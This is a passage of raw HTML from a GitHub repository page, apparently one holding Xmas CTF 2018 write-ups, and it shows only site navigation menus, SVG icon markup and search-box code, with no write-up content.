1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162837579" data-scoped-search-url="/serega6531/XmasCtf2018Writeups/search" data-owner-scoped-search-url="/users/serega6531/search" data-unscoped-search-url="/search" data-turbo="false" action="/serega6531/XmasCtf2018Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="EHowcC/kC6j+0lX70TOcfB7z6zFlKeyrQZEQD5U10clMMXo4xKwkPn6rX47JXQFrHbPZcTHCnIvh+xGKf88AgA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 